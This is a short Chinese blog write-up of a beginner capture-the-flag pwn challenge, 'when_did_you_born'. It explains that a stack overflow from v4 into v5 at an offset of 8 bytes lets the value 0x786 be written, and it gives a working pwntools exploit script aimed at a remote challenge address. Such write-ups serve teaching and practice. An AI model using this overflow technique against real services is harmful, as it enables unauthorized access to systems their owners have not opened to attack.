美文网首页
新手练习03-when_did_you_born

新手练习03-when_did_you_born

作者: n0va | 来源:发表于2019-02-18 10:09 被阅读0次
    image.png

    栈溢出覆盖v5为0x786就行了

    image.png

    v5相对于v4的偏移为8
    exp:

    #-*-coding:utf-8 -*-
    from pwn import *
    # p = process('./when_did_you_born')
    p = remote("111.198.29.45","30999")
    system_catflag = 0x400906
    p.recvuntil("?")
    p.sendline("1925")   #随便一个数字通过第一关就行
    # gdb.attach(p,"b *0x4008CD")
    p.recvuntil("Name?")
    #0x786
    #0x00000786
    payload = 8*'a' + p32(0x00000786)
    p.sendline(payload)
    p.interactive()
    

    相关文章

      网友评论

          本文标题:新手练习03-when_did_you_born

          本文链接:https://www.haomeiwen.com/subject/uzwoeqtx.html